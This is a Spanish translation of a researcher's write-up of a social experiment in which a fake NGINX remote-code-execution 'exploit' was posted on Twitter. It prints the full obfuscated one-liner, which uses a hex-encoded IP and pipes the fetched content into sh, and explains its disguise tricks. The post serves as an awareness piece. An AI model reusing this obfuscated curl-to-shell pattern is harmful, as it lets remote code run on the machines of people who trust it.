El éxito del experimento social con un exploit falso para nginx

Nota de traducción.: Autor de la nota original, publicada el 1 de junio, decidió realizar un experimento entre aquellos interesados en la seguridad informática. Para ello, preparó un exploit falso para una vulnerabilidad no divulgada en un servidor web y lo publicó en su Twitter. Sus suposiciones de ser desmantelado al instante por especialistas que notarían el engaño en el código no solo no se cumplieron... superaron todas las expectativas, y de manera contraria: el tweet recibió un apoyo enorme de numerosas personas que no verificaron su contenido.

TL;DR: nunca utilices la canalización de archivos en sh o bash. Es una excelente manera de perder el control sobre tu computadora.

Quiero compartir con ustedes una breve historia sobre un PoC-exploit humorístico que fue creado el 31 de mayo. Surgió rápidamente en respuesta a la noticia de Alisa Esage Shevchenko, miembro de Zero Day Initiative (ZDI), sobre que pronto se revelaría información acerca de una vulnerabilidad en NGINX, que lleva a RCE (ejecución remota de código). Dado que NGINX es la base de muchos sitios web, la noticia debía tener el efecto de una bomba. Pero debido a los retrasos en el proceso de 'divulgación responsable' de información, los detalles del incidente no fueron conocidos; tal es el procedimiento estándar de ZDI.

Tweet sobre la divulgación de la vulnerabilidad en NGINX

Al finalizar el trabajo en una nueva técnica de ofuscación en curl, cité el tweet original y 'filtré un PoC funcional', compuesto por una línea de código, supuestamente utilizando la vulnerabilidad descubierta. Por supuesto, fue un completo engaño. Pensé que me desenmascararían de inmediato, y que en el mejor de los casos recibiría un par de retweets (y eso estaría bien).

Tweet con el exploit falso

Sin embargo, no podía imaginar lo que sucedió después. La popularidad de mi tweet se disparó. Sorprendentemente, hasta el momento (15:00 MSK del 1 de junio) todavía hay muy pocos que han comprendido que es una falsificación. Muchos lo retuitean sin verificar (sin mencionar disfrutar de la hermosa gráfica ASCII que genera).

¡Miren qué belleza!

Aunque todos estos ciclos y colores son magníficos, está claro: para verlos, la gente ejecutaba el código en su propia máquina. Afortunadamente, los navegadores funcionan de manera similar, y sumado al hecho de que no necesito problemas legales, el código escondido en mi sitio solo hacía llamadas echo, sin intentar establecer o ejecutar ningún código adicional.

Una pequeña digresión: netspooky, dnz, yo y otros chicos del equipo Thugcrowd hemos estado jugando durante un tiempo con diferentes formas de ofuscar los comandos curl, porque es divertido... y somos geeks. netspooky y dnz descubrieron algunas nuevas formas que me parecieron extremadamente prometedoras. Me uní a la diversión e intenté agregar conversiones de IP en decimal al conjunto de trucos. Resultó que la IP también se puede convertir a formato hexadecimal. Además, curl y la mayoría de otras herramientas NIX aceptan encantados las IP hexadecimales. Así que solo era necesario crear una línea de comando convincente y que pareciera segura. Al final, me quedé con esta:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../..//nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

La ingeniería socioelectrónica (S.E.E.) es más que solo phishing.

La seguridad y la familiaridad fueron parte fundamental de este experimento. Creo que fueron las que llevaron a su éxito. La línea de comando claramente implicaba seguridad, haciendo referencia a '127.0.0.1' (el conocido localhost). Se considera que localhost es seguro y que los datos en él nunca abandonan su computadora.

La familiaridad fue el segundo componente clave de S.E.E. en el experimento. Dado que la audiencia objetivo consistía principalmente en personas familiarizadas con los fundamentos de la seguridad informática, era importante crear un código cuyas partes parecieran conocidas y familiares (y por tanto seguras). Tomar elementos de viejas conceptos de exploits y combinarlos de una manera inusual resultó ser bastante exitoso.

A continuación se presenta un desglose detallado de la línea de un solo comando. Todo en esta lista es cosmético, y prácticamente no se requiere nada para que funcione realmente.

¿Cuáles son los componentes que realmente se necesitan? Son -gsS, -O 0x0238f06a, |sh y el propio servidor web. El servidor web no contenía ninguna instrucción maliciosa, simplemente transmitía gráficos ASCII mediante comandos echo en el script incluido en index.html. Cuando un usuario ingresaba una cadena con |sh en el medio, index.html se cargaba y ejecutaba. Afortunadamente, los guardianes del servidor web no tenían malas intenciones.

• ../../../%00 — representa una salida fuera del directorio;
• ngx_stream_module.so — la ruta a un módulo aleatorio de NGINX;
• /bin/sh%00<'protocol:TCP' — supuestamente estamos ejecutando /bin/sh en la máquina objetivo y redirigiendo la salida a un canal TCP;
• -O 0x0238f06a#PLToffset — ingrediente secreto, complementado #PLToffset, para parecerse a un desplazamiento de memoria, de alguna manera contenido en PLT;
• |sh; — otro fragmento importante. Necesitábamos redirigir la salida a sh/bash para ejecutar el código que venía del servidor web atacante ubicado en 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — un placeholder, donde netcat se refiere a /dev/tcp/localhost, para que todo pareciera seguro de nuevo. En realidad, no hace nada y se incluye en la cadena por motivos estéticos.

Aquí termina la decodificación del script de una sola línea y la discusión sobre aspectos de la "ingeniería socio-electrónica" (phishing ingenioso).

Configuración del servidor web y medidas de contrarresto

Dado que la gran mayoría de mis suscriptores son expertos en ciberseguridad/hackers, decidí hacer que el servidor web fuera un poco más resistente a las manifestaciones de "interés" de su parte, simplemente para que tuvieran algo que hacer (y configurar era divertido). No voy a enumerar todas las trampas aquí, ya que el experimento aún continúa, pero aquí hay algunas cosas que hace el servidor:

• Monitorea activamente los intentos de difusión en ciertas redes sociales y presenta diversas miniaturas de previsualización para alentar al usuario a hacer clic en el enlace.
• Redirige a Chrome/Mozilla/Safari/etc. a un tráiler de Thugcrowd en lugar de mostrar el script de shell.
• Controla las SEÑALES EXPLÍCITAS de intrusión/hacking, tras lo cual comienza a redirigir las solicitudes a servidores de la NSA (¡ja!).
• Instala un troyano, así como un rootkit de BIOS en todas las computadoras cuyos usuarios visitan el host desde un navegador normal (¡es una broma!).

Una pequeña parte de antimedidas

En este caso, mi único objetivo era aprender algunas capacidades de Apache —en particular, las geniales reglas de redirección de solicitudes— y pensé: ¿por qué no?

Exploit de NGINX (¡real!)

Síguenos en @alisaesage Twitter y mantente al tanto del increíble trabajo de ZDI en la corrección de vulnerabilidades reales y oportunidades de explotación en NGINX. Siempre me ha fascinado su trabajo y estoy agradecido con Alisa por su paciencia con todas las menciones y notificaciones provocadas por mi estúpido tuit. Afortunadamente, también trajo algunos beneficios: ayudó a aumentar la conciencia sobre las vulnerabilidades en NGINX y los problemas causados por el abuso de curl.

Fuente: habr.com